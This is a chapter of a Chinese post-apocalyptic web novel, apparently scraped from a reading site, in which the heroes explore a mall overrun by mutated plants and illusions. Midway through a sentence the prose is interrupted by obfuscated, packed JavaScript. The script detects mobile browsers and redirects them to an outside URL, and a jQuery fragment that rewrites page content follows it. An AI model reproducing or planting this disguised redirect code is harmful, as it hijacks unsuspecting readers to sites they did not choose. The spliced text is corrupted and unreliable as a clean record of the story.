一般人一生也不会有这种体验，乔佑同样是第一次，他一只手按着心脏，没有感觉到心脏痛得喘不过气，就慢慢松开，新奇地向下张望。 绿虫真的很多，但想到它们其实都是植物，是某种变异后的叶子，好像也就没有那么可怕。随着白隼飞远，又是哗啦啦一群虫子追在后面。 乔佑看大商场马上就到了，想了想，仰头道：“我还记得一些商场里的变异植物，先给你说说吧。” 闵停收回观察的目光，拿出一个黑色的手掌大的仪器，见乔佑好奇就解释了一句：“短距离通讯器，有什么植物，你说。” “有爬山虎……”乔佑一边回忆，慢慢道。 24. 苔藓 “爬山虎的叶片是锯齿状，很锋利，叶片不是圆形，像婴孩的手，能够抓握。它们抓住猎物之后会切开猎物的肉进食。弱点是，爬山虎藤被切断后，叶片会失去行动能力。” “商场的中庭有一棵大约十米高的仙人掌，能够射出很细的仙人掌刺，被它发现了就很难躲，而且有轻微的毒性，但是，危险性不高，可以找障碍物挡一下。” “有棵变异白蜡木在商场进门左边的生态园里，它的汁液有腐蚀性，会腐烂周围的有机物质，它不会移动，不要进入那片范围就好。” 乔佑谨慎地补充道：“但是，这些都是我上次获得的信息，时间过去了太久，现在是什么样子我也无法确定。”真实的末世毕竟不是游戏的模拟数据，接下来他们会遇到什么，乔佑并不敢保证。 闵停按了一下通讯器，正色道：“都听见了？” 通讯器传来了轻微的电流音，两个声音先后回应。 江湾：“收到。” 李鹤怀：“收到。” 小云载着他们落地，通讯器中，李鹤怀迟疑地说：“队长，乔佑说的三种变异植物我都没看见。” “啊？”乔佑一愣，尴尬地看了闵停一眼：“难道我记错了？” 姑且不提变异白蜡木和爬山虎，仙人掌那么巨大明显的物体，如果存在的话，必定刚进商场就能看见，李鹤怀也没有理由说谎。 乔佑的两个存档虽然有很多不同，在副本和boss上倒是第一次出现这么大的偏差，这也不是没有可能的，现实和模拟怎么可能一样呢？ 李鹤怀：“另外，我和吟秋走散了，她才被分出来，身上没有通讯器。” 闵停“嗯”了一声，“谨慎行事，注意安全，我们也要进来了，找机会会和。” 商场的玻璃大门碎了一地，仅剩下一块大碎片摇摇欲坠挂在头顶，随时都可能掉下来。向商场内部看去，模糊不清，阴凉沁人。 视线所及之处，并没有看见绿色的变异虫群，身后跟着他们的虫子似乎感到了某种威胁，纷纷钻入地底。 乔佑和闵停一同走进商场，内部氛围出乎意料的安宁，似乎只是一处废弃的普通建筑物，也没有乔佑所说的各种植物混战厮杀。 上一个存档来过一次的乔佑却很清楚，竞争从未停止过。 面对动物和人类的时候，它们会用各种方法杀死敌人，但当对手是同类，厮杀就按照植物界的规矩来，很安静，无声的你死我活都在深藏地下的根系里，这让商场内维持了表面的安静。 他抬头看向商场中庭，一棵三人环抱那么宽的大仙人掌就矗立在那里，全身的尖刺闪着逼人的寒芒。 乔佑皱了皱眉，李鹤怀为什么骗他们？ 正想开口，鼻尖倏然嗅到一丝幽然的浓香。 就这一晃神的刹那，数根半米长的仙人掌刺脱离了仙人掌，快如闪电，目标正是毫无遮挡物的乔佑闵停两人！ 要是被这半米长的长刺扎中，他们就可以折在这里，不用再想别的了！ 乔佑和闵停反应都很快，各自朝两边一躲，仙人掌刺擦着他们深深扎进地里。 乔佑跌在地上，手掌擦出一条血痕，旁边摆着化妆品的展柜哗啦啦倒塌下来，露出展柜后一个呆立的黑色人影。 丧尸！ 最近一直和变异植物打交道，险些忘了还有这一号危险因素，乔佑下意识放出浓雾，但刚才的动静和手上的血腥味还是吸引了丧尸的注意。 乔佑爬起来，先去闵停身边，雾气完全笼罩了两人，他低声道：“变异植物也对丧尸没办法，最多只能把它们赶出去，但不一定清干净了，商场里的丧尸肯定不止这一只，我们先躲一下，看看情况。” 闵停低头看乔佑握着自己的手腕，轻声疑问道：“丧尸？” “……你没看见吗？”乔佑一怔，去看那只柜台后的丧尸，却发现连柜台都不见了。 乔佑：？ 他低头一看，土块隆起，将他们缓慢托运着，不知道要送去哪里，不是柜台和丧尸走了，是他们俩“走了”。 更奇怪了。 乔佑担心土块将他们俩分开，沈吟秋和李鹤怀大概就是这么走散的，他蹲下来查看托运他们的泥土，另一只手仍然牢牢抓着闵停。 捏了一撮土在手上，捻了捻，一丛绿意在他手里人畜无害地露出来。 “你看看这是什么？”乔佑举起那点土中绿色，抬头道。 “一种苔藓。”闵停道，垂着头看他：“你的眼睛怎么了？” “眼睛？”乔佑下意识摸了摸自己的左眼，此时才感觉到，白雾笼罩了他的眼睛，现在正呈现出灰白颜色。 破障的能力怎么自动触发了？ “我的雾系异能有看破迷障的能力，这种时候我的左眼就会变成灰色，现在这样，”乔佑沉吟道：“看来商场里有一层假象，你看到的是什么样子？” 闵停抬头看了一下，然后闭上了眼睛：“像披着一层画布，静止不动，边界很模糊，还有稀薄的红雾。” “红雾？”乔佑的雾是白色，而且很浓郁，“不是我放的。” 闵停：“我知道。” 乔佑看着地上的泥土将他们运到没电的自动扶梯边，又顺着扶梯向上，一路上都避开了别的变异植物，就决定看看再说，“那你的视野中有仙人掌吗？” 闵停摇了摇头：“没有。” 他闭着眼问道：“我们到了哪里了？” “在上三楼的扶梯上。”这么平稳的移动也能感受到吗？ 乔佑紧紧握着闵停手腕，闵停的异能是驯兽，在这个只有变异植物和丧尸的商场里本来就受到了很大程度的削弱，现在还失去了视觉。果然还是不应该进来吧。 “先找个没有苔藓的地方。”闵停道。 借着幻觉的影响悄悄把他们带走，怎么看都来者不善。 闵停看不见，乔佑便更谨慎地注意着周围，眼角余光似乎瞥见下方二楼一个高挑的身影，想要叫她，却有点担心自己看错，一错眼就看不见了，只好作罢。 泥土将他们送上三楼，乔佑没再任由搬运，牵着闵停离开。泥土内的苔藓并不知道有个人完全没被幻觉影响，仍然孜孜不倦地跟在脚下，但为了不被发现，速度很缓慢，总之，不影响乔佑正常移动。 商场的地砖早已看不出原本的颜色，全都铺满了泥土，生长着一些夹缝生存的杂草，但刚才找到的苔藓位于泥土之下，肉眼根本看不出哪里安全。 乔佑只好找远一点的地方，在拐角的一家童装店前看见一大块反光的地板，但一半暴露在他视线中，一半在拐角后的视野盲区，实在很像什么陷阱。 一边低声和闵停说了前面的情况，一边谨慎地拉着他往前，突然背后一寒，下一瞬，闵停反手抓住他往旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13632371|143615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边一带，几根细如牛毛的刺擦着乔佑手臂软软坠在地上。 乔佑回头一看，原来他们不知不觉间又暴露在仙人掌的攻击范围内，要不是闵停那一下，他可能又要受伤了。 “你眼睛能看见了？”乔佑有点惊喜，从空间里拿出一块铁板往仙人掌的方向一摆，暂时充当了障碍物。 “不能，是听觉和直觉。”闵停仍然闭着眼睛，乔佑想起刚进商场的时候闵停也躲过了，那时他应该就看不见了。 “这次的攻击与上次不同。”闵停道。 乔佑捡起地上的软刺递给他看，“嗯，之前的仙人掌刺有半米长，坚固，锋锐，这回的是一丛很短的仙人掌刺，炸开之后就是这样。” 闵停睁开眼睛，接过软刺，道：“我的正常视力只有三十公分，三十公分之外都是假的。” 听他那么说，乔佑就更近了一些，一边观察周围一边提醒道：“小心点，有神经毒素，被扎中会很痒。” “你可以把这些收集起来。”闵停道。 乔佑一愣：“我收集这个干嘛？” 他出去找物资的时候确实跟收破烂似的，捡到什么东西都要琢磨一下有没有用，但凡好像有用的都丢进空间。 反正空间装不下了还能扔，先赚一点经验值扩扩容再说。 但还没有想过仙人掌刺也能收集。 “你不是来收集物资的吗，变异植物的材料在基地里很受欢迎，就算没有什么用，也有研究院收。”闵停道。 基地？自由谷吗？ 乔佑没想过加入基地，但闵停说的也有道理，他以后全世界旅游的时候总会和人类基地打交道，比如参与自由市场或者交易会，他不需要的东西也许恰好是某些人急缺的。 但自由谷基地就算了吧，作为距离新手村最近的人类基地，自由谷在玩家们之间的口碑可不太好，那个幻境里最后来救援的两个也不像什么好人。 但闵停这样的小队也是来自自由谷，好像也不能一杆子打死，好坏与善恶难以区分。 对乔佑来说，凡是需要纠结的，最终的结论多半是放弃。 他不再想别的，从善如流地把仙人掌刺放进空间，拉着铁板和闵停继续往前。 “站住。”一个冰冷的声音道。 乔佑一顿，出声道：“是我，乔佑。闵停也在。” 沈吟秋从拐角处转出来，她手里握着一把小巧的水果刀，或许是担心被视觉误导，眼睛上绑着一根布条。 听到乔佑的声音，沈吟秋并没有放松警惕，沉声道：“怎么找到这里的？” 闵停开口：“乔佑不受幻觉影响。” 听到他的声音，沈吟秋态度略有些松动，“闵队，基地里谁最喜欢你？” 不期然听到这种八卦，乔佑诧异地转头看闵停，眼睛睁得圆圆的。 闵停眼中也划过一丝无奈：“……绵羊和马。” 乔佑：？？？啊？ 沈吟秋颔首，收了小刀：“你们过来吧。” 三人在没有苔藓泥土的空地上顺利会和，沈吟秋解开眼睛上的绑带，目光中露出一丝歉意：“这里暂时安全，抱歉，不是故意怀疑你们，商场里存在能迷惑人的变异植物，这块地之前也是一株变异花的领地，五分钟前才被我解决。” 乔佑点点头，突然道：“你已经确定我们是真的，那我们怎么确定你是你呢？”